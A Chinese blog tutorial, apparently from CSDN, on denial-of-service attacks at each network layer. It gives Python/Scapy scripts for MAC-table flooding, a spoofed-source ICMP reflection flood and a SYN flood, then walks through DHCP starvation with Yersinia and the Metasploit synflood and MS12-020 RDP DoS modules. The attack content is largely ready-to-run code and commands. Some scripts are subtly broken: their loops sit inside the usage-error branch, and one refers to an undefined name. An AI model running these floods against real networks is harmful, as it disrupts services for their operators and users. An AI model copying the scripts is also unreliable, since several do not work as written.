“人生苦短,我用Python“——拒绝服务攻击

  • 拒绝服务攻击即是攻击者想办法让目标机器停止提供服务,是黑客常用的攻击手段之一。
  • 其实对网络带宽进行的消耗性攻击只是拒绝服务攻击的一小部分,只要能够对目标造成麻烦,是某些服务被暂停甚至主机死机,都属于拒绝服务攻击。
  • 拒绝服务攻击问题也一直得不到合理的解决,究其原因是因为网络协议本身的安全缺陷,从而拒绝服务攻击也成为攻击者的终极手法。
  • 拒绝服务攻击并不是一个攻击方式。而是一类具有相似特征的攻击方式的集合。黑客可能会利用TCP/IP协议层中数据链路层、网络层、传输层和应用层各种协议漏洞发起拒绝服务攻击。

数据链路层的拒绝服务攻击

数据链路层发起的拒绝服务攻击方式
它的攻击目标是二层交换机。这种攻击方式的目的并不是要二层交换机停止工作,而是要二层交换机以一种不正常的方式工作

什么是交换机不正常的工作方式呢?让交换机成为”集线器“
根据交换机的特性:当CAM表被填满时,收到未知单播帧,会将这个帧进行广播处理。这时受到攻击的交换机实际上已经退化成了集线器了。这时黑客只需要在自己的计算机上将网卡设置为混杂模式,就可以监听整个网络的通信了。

一个专门用来完成这种攻击的工具-macof,这个工具的使用方法很简单,下面给出这个工具的格式:Usage: macof[-s src][-d dst][-e tha][-x sport][-y dport][-i interface][-n times]
在实际应用中,这里面的参数只有 -i 是会使用到的,这个参数用来指定发送这些伪造数据包的网卡。
使用macof的方法很简单,kali输入macof即可启动这个工具(输入macof自动运行发包)
在这里插入图片描述
交换机在遭到攻击之后,内部的CAM表很快就被填满。交换机退化成集线器,会将收到的数据包全部广播出去,从而无法正常向局域网提供转发功能,实现过程很简单。

  1. 构造随机MAC和IP,scapy模块中**RandMAC()RandIP()**可以很方便地实现这一点,也可以生成固定网段IP,如RandIP(“192.168.1.*”)。
from scapy.all import *
while 1:
	packet=Ether(src=RandMAC(),dst=RandMAC())/IP(src=RandIP(),dst=RandIP())/ICMP()
	time.sleep(0.5)
	sendp(packet)
	print(packet.summary())

在这里插入图片描述
在这里插入图片描述

  1. 数据包中包含指定的源IP和MAC,那么交换机就会记录,例如ARP包Ether(src=RandMAC(),dst="FF:FF:FF:FF:FF:FF")/ARP(op, src="0.0.0.0",hwdst="FF:FF:FF:FF:FF:FF")/Padding(load="x"*18)或者Ether(src=RandMAC(),dst=RandMAC())/IP(src=RandIP(),dst=RandIP())/ICMP()

模拟macof完整代码如下:

import sys
from scapy.all import * 
import time
iface="eth0"
if len(sys.argv)>=2:
	iface=sys.argv[1]
while 1:
	packet=Ether(src=RandMAC(),dst=RandMAC())/IP(src=RandIP(),dst=RandIP())/ICMP()
	time.sleep(0.5)
	sendp(packet,iface=iface,loop=0)

网络层的拒绝服务攻击

位于网络层的协议包括ARP、IP和ICMP等,其中,ICMP主要用来在IP主机、路由之间传递控制消息。平时检测网络连通情况时使用的Ping命令就是基于ICMP的。例如,希望查看本机发送的数据包是否可以到到192.168.26.100,就可以使用Ping命令。
在这里插入图片描述
可以看出,发送的数据包得到了应答数据包,这说明192.168.26.100收到了发送的数据包,并给出了应答。
这个过程遵守了ICMP的规定:Ping就是ICMP请求(Type=8),收到的回应就是ICMP应答(Type=0),一台主机向一个节点发送一个Type=8的ICMP报文,如果途中没有异常(例如,被路由器丢弃,目标不回应ICMP或传输失败),则目标返回Type=0的ICMP报文,说明这台主机存在。

但是目标主机在处理这个请求和应答时是需要消耗CPU资源的,处理少量的ICMP请求并不会对CPU的运行速度产生影响,但是大量的ICMP请求呢?
仍然使用Ping命令来尝试一下。这次将ICMP数据包设置的足够大,Ping命令发送到数据包大小可以使用 -l 来指定(这个值一般指定为65500),这样构造好的数据包被称作“死亡之Ping”,因为早期的系统无法处理这么大的ICMP数据包,在接收到这种数据包之后会死机。现在的系统则不会出现这种问题,但是可以考虑使用这种方法向目标主机连续发送这种“死亡之Ping”来消耗目标主机的资源。 在这里插入图片描述
现在的操作系统和CPU完全有能力处理这个数量级的数据包。
既然对方能够承受这个速度的数据包了,那么这里的拒绝服务攻击也就没有效果了,必须想办法提高发送到目标的数据包的数量。主要有两个方法:①同时使用多台计算机发送ICMP数据包②提高发送ICMP数据包的速度。

另外,除了像上面这种使用本机地址不断地向目标发送ICMP包的方法之外,还有两种方法:①使用随机地址不断向目标发送ICMP包,②向不同地址不断发送以攻击目标IP地址为发送地址的数据包。这种攻击模式里,最终淹没没目标的洪水不是由攻击者发出的,也不是伪造IP发出的,而是正常通信服务器发出的

除了前面使用的RandIP(),还可以使用下面的方法模拟出一个随机IP地址
i.src="%i.%i.%i.%i"%(random.randint(1,254),random.randint(1,254),random.randint(1,254),random.randint(1,254)) id.dst="" send(IP(dst="1,2,3,4")/ICMP())

完整程序如下

import sys
import random
from scapy.all import send,IP,ICMP

if len(sys.argv)<2:
	print(sys.argv[0]+"<spoofed_source_ip><target>")
	while 1:
		pdst="%i.%i.%i.%i"%(random.randint(1,254),random.randint(1,254),random.randint(1,254),random.randint(1,254))
		psrc="1.1.1.1"#受害者IP地址
	
	send(IP(src=psrc,dst=pdst)/ICMP())

使用wireshark来捕获发出的数据包,可以看到快速地以1.1.1.1向各个地址发送ICMP请求,这个地址在收到请求后,很快就会向1.1.1.1发回应答。这就是第三种攻击方式。
在这里插入图片描述

传输层的拒绝服务攻击

TCP(Tranmission Control Protocol,传输控制协议):是一种面向连接的、可靠的、基于字节流的传输层通信协议。TCP是因特网的传输层协议,使用三次握手协议建立连接。当主动方发出SYN连接请求后,等待对方回答SYN+ACK,并最终对对方的SYN执行ACK确认。这种建立连接的方法可以防止产生错误**的连接。

TCP三次握手的过程如下:

  1. 客户端向服务器端发送SYN(SEQ=x)数据包,并进入SYN_SEND状态。
  2. 服务器端在收到客户端发出的SYN报文之后,回应一个SYN(SEQ=y) ACK(ACK+1)数据包,并进入SYN_RECV状态。
  3. 客户端收到服务器端的SYN数据包,回应一个ACK(ACK=y+1)数据包,进入Established状态。
    在这里插入图片描述
    不同于针对ICMP和UDP的拒绝服务攻击方式,基于TCP的攻击方式是面向连接的。只需要和目标主机的端口建立大量的TCP连接,就可以让目标主机的连接表被填满,从而不会再接收任何新的连接。
    基于TCP的拒绝攻击方式有两种:①和端口完成三次握手,建立一个完整连接②只和目标端口完成三次握手中的前两次,建立的是一个不完整的连接**。

***不完整连接:***攻击方会向目标端口发送大量设置了SYN标志位的TCP数据包,受攻击的服务器会根据这些数据包建立连接,并将连接的信息存储再连接表中,而攻击方不断地发送SYN数据包,很快就会将连接表填满,此时受攻击的服务器就无法接收新来的连接请求了。
在这里插入图片描述
无序使用自身的IP地址作为源地址,只需要使用伪造的地址即可。产生随机地址的方法如:pdst="%i.%i.%i.%i"%(random.randint(1,254),random.randint(1,254),random.randint(1,254),random.randint(1,254))
攻击目标时使用TCP,端口为80,将标志位设置为syn:TCP(dport=80,flags="S")

完整程序如下:

import sys
import random
from scapy.all import send,IP,TCP

if len(sys.argv)<2:
	print("SynFlood.py +target IP")

	while 1:
		psrc="%i.%i.%i.%i"%(random.randint(1,254),random.randint(1,254),random.randint(1,254),random.randint(1,254))
		pdst=argv[1]
		send(IP(src=psrc,dst=pdst)/TCP(dport=80,flags="S"))

执行这段程序,将参数设置为192.168.0.116,使用WireShark捕获这些数据包,执行的结果如图
在这里插入图片描述

应用层的拒绝服务攻击

位于应用层的协议比较多,常见的由HTTP、FTP、DNS、DHCP等。这里面的每个协议都可能被利用来发起拒绝服务攻击。

DHCP为例,DHCP(Fynamic Hosy Configuration Protocol,动态主机配置协议)通常应用于大型的局域网络环境中,主要作用是集中地管理、分配IP地址,使网络环境中的动态地获得IP地址、Gateway地址、DNS服务器地址等信息,并能够提升地址的使用率。
在这里插入图片描述
DHCP攻击的目标也是服务器(DHCP服务器),怀有恶意的用户伪造大量DHCP请求报文发送到服务器,这样DHCP服务器地址池中的IP地址会很快就分配完毕,从而导致合法用户无法申请到IP地址。同时大量的DHCP请求也会导致服务器高负荷运行,从而导致设备瘫痪。

首先编写一段程序来搜索网络中的DHCP服务器,只需要在网络中广播DHCP的discover数据包,源端口为68,目标端口为67.这个构造过程涉及多个层次。dhcp_discover=Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP()/DHCP(options=[("message-type","discover"),"end"])
完整程序如下:

from scapy.all import srp,IP,UDP,Ether,BOOTP,DHCP

dhcp_discover=Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP()/DHCP(options=[("message-type","discover"),"end"]
srp(dhcp_discover)

同时可以打开wireshark,并将过滤器设置为udp,然后执行程序。
在这里插入图片描述
分析得到的数据包,可以看出来网络中有一个DHCP服务器,地址为192.168.26.254。这个程序也可以用来检测网络中的非法DHCP服务器。

在这一节中用到两个工具,一个是Yersinia,这是一个十分强大的拒绝服务攻击工具,另一个是比较熟悉的Metasploit

Yersinia进行DHCP攻击实验,这是一款图形化工具,在命令行中输入“yersinia -G”就可以图形化界面的形式启动这款工具。
在这里插入图片描述

基于DHCP的攻击一共提供了4中发包形式,这4中模式的含义如下所示。

  1. sending RAW packet:发送原始数据包。
  2. sending DISCOVER packet:发送请求获取IP地址数据包,占用所有的IP,造成拒绝服务。
  3. creating DHCP rogue server:创建虚假DHCP服务器,让用户连接,真正的DHCP无法工作。
  4. sending RELEASE packet:发送释放IP请求到DHCP服务器,致使正在使用的IP全部失效。

理论上,所有提供连接的协议都可能会收到拒绝服务的攻击,Metasploit提供了很多用于各种协议的拒绝服务攻击模块,可以启动Metasploit,并在其中查询使用对应的模块。

在这里插入图片描述
成功启动Metasploit之后,可以使用search命令来查找与DoS(拒绝服务攻击)的相关模块。
仍然使用这里的模块对目标进行一次SYN拒绝服务攻击,使用auxiliary/dos/tcp/synflood模块来完成这个攻击。首先选择对应模块use auxiliary/dos/tcp/synflood
在这里插入图片描述
synflood这个模块需要的参数包括RHOST、RPORT、SNAPLEN和TIMEOUT,后面的三个参数都有默认值,所以需要设置的只有RHOST,这也正是要发起拒绝服务攻击服务器的IP地址。这个目标必须对外提供HTTP服务的服务器。
将参数设置为目标192.168.26.101
在这里插入图片描述
然后exploit发起攻击
在这里插入图片描述

如果事先获得了关于目标主机的足够信息,也可以利用目标主机上一些特定的服务进行拒绝服务攻击
例如,很多人都拥有两台以上的计算机,一台在单位,另一台在家里,如果上班时间没有完成全部工作,回家可以远程连接到单位的计算机。但是这需要计算机提供远程控制的服务。
Windows操作系统就提供了远程桌面协议,这是一个多通道的协议,用户可以利用这个协议(客户端或称“本地计算机”)连上提供微软终端机服务的计算机(服务器端或称“远程计算机”)。
但是微软提供的这个服务被发现存在一个编号为MS12-020的漏洞,Windows在处理某些RDP报文时Terminal Server存在错误,可被利用造成服务停止相应。默认情况下,任何Windows操作系统都未启用远程桌面协议(RDP)。没有启用RDP的系统不受威胁。

还是在Metasploit中启动对应的模块:use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
在这里插入图片描述

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值